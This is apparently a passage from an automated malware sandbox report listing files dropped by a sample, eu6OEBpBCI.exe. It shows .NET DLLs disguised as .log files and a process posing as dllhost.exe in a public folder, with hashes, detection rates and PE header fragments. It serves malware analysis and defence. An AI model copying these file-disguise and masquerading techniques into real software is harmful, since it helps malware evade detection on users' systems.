                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                                                                                      C:\Users\user\Desktop\hZjnbUmV.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):89600
                                                                                                                                      Entropy (8bit):5.905167202474779
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
                                                                                                                                      MD5:06442F43E1001D860C8A19A752F19085
                                                                                                                                      SHA1:9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
                                                                                                                                      SHA-256:6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
                                                                                                                                      SHA-512:3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 16%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

                                                                                                                                      C:\Users\user\Desktop\haXUgXfM.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):33792
                                                                                                                                      Entropy (8bit):5.541771649974822
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                                                                                                      MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                                                                                      SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                                                                                      SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                                                                                      SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 38%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\hiGnLHFR.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):46592
                                                                                                                                      Entropy (8bit):5.870612048031897
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                                                                                                      MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                                                                                                      SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                                                                                                      SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                                                                                                      SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 5%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\iObdSlbK.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):34304
                                                                                                                                      Entropy (8bit):5.618776214605176
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                                                                                                      MD5:9B25959D6CD6097C0EF36D2496876249
                                                                                                                                      SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                                                                                                      SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                                                                                                      SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\jzvnrySk.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):34816
                                                                                                                                      Entropy (8bit):5.636032516496583
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                                                                                                      MD5:996BD447A16F0A20F238A611484AFE86
                                                                                                                                      SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                                                                                                      SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                                                                                                      SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 21%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\kfPdycnc.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):50176
                                                                                                                                      Entropy (8bit):5.723168999026349
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                                                                                                      MD5:2E116FC64103D0F0CF47890FD571561E
                                                                                                                                      SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                                                                                                      SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                                                                                                      SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\lQNLnUfF.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):342528
                                                                                                                                      Entropy (8bit):6.170134230759619
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                                                                                                      MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                                                                                                      SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                                                                                                      SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                                                                                                      SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 50%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\onNmUvhY.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):33280
                                                                                                                                      Entropy (8bit):5.634433516692816
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                                                                                                      MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                                                                                                      SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                                                                                                      SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                                                                                                      SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\sOBLQjau.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):39936
                                                                                                                                      Entropy (8bit):5.629584586954759
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
                                                                                                                                      MD5:D478E398EFCD2BD9BDBFEA958F7BEE4F
                                                                                                                                      SHA1:24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
                                                                                                                                      SHA-256:32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
                                                                                                                                      SHA-512:0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\sVUKwIHM.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):294912
                                                                                                                                      Entropy (8bit):6.010605469502259
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                                                                                                      MD5:00574FB20124EAFD40DC945EC86CA59C
                                                                                                                                      SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                                                                                                      SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                                                                                                      SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                                                                                                      C:\Users\user\Desktop\tCFTCxVs.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):38400
                                                                                                                                      Entropy (8bit):5.699005826018714
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                                                                                                      MD5:87765D141228784AE91334BAE25AD743
                                                                                                                                      SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                                                                                                      SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                                                                                                      SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\tRHlMFdP.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40448
                                                                                                                                      Entropy (8bit):5.7028690200758465
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                                                                                                      MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                                                                                                      SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                                                                                                      SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                                                                                                      SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 12%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\uOjtiFsK.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):34304
                                                                                                                                      Entropy (8bit):5.618776214605176
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                                                                                                      MD5:9B25959D6CD6097C0EF36D2496876249
                                                                                                                                      SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                                                                                                      SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                                                                                                      SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\vEsBXgan.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):39936
                                                                                                                                      Entropy (8bit):5.660491370279985
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                                                                                                      MD5:240E98D38E0B679F055470167D247022
                                                                                                                                      SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                                                                                                      SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                                                                                                      SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\wnljJKgl.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):38912
                                                                                                                                      Entropy (8bit):5.679286635687991
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                                                                                                      MD5:9E910782CA3E88B3F87826609A21A54E
                                                                                                                                      SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                                                                                                      SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                                                                                                      SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 8%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\ygASuHSj.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):32256
                                                                                                                                      Entropy (8bit):5.631194486392901
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                                                                                                      MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                                                                                      SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                                                                                      SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                                                                                      SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Users\user\Desktop\ypXSetlg.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):64000
                                                                                                                                      Entropy (8bit):5.857602289000348
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                                                                                                      MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                                                                                                      SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                                                                                                      SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                                                                                                      SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                                                                                                      Malicious:true
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                                                                                      C:\Windows\Logs\WindowsUpdate\74cb7468389f91

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with very long lines (702), with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):702
                                                                                                                                      Entropy (8bit):5.886392989553001
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:qrRm9Dd181YiP8/5vlRAV+N+KshF8aQrxFC0q3tnI1ljlxSjneOv42bp:qFmV01Y1BvjN5iQF/4tglUN4ip
                                                                                                                                      MD5:7A0CB7C142C2E2E062AB87EF21F69474
                                                                                                                                      SHA1:20033FF97DD5845C35380B33EE9FD8EC74882EDA
                                                                                                                                      SHA-256:90E21BD07A6A3251B46CF48D17877E6347E24D9E7CC0D5B6FAAEB1D3832B1D77
                                                                                                                                      SHA-512:400D9EDDF0303AB05EF86DF4B0072D1D8CC071ACDCFBFF6E910E771584AEA9260279F1F05439ADD0905A843E06F180E31C851886DCB95EAD3ABAC607C2847989
                                                                                                                                      Malicious:false
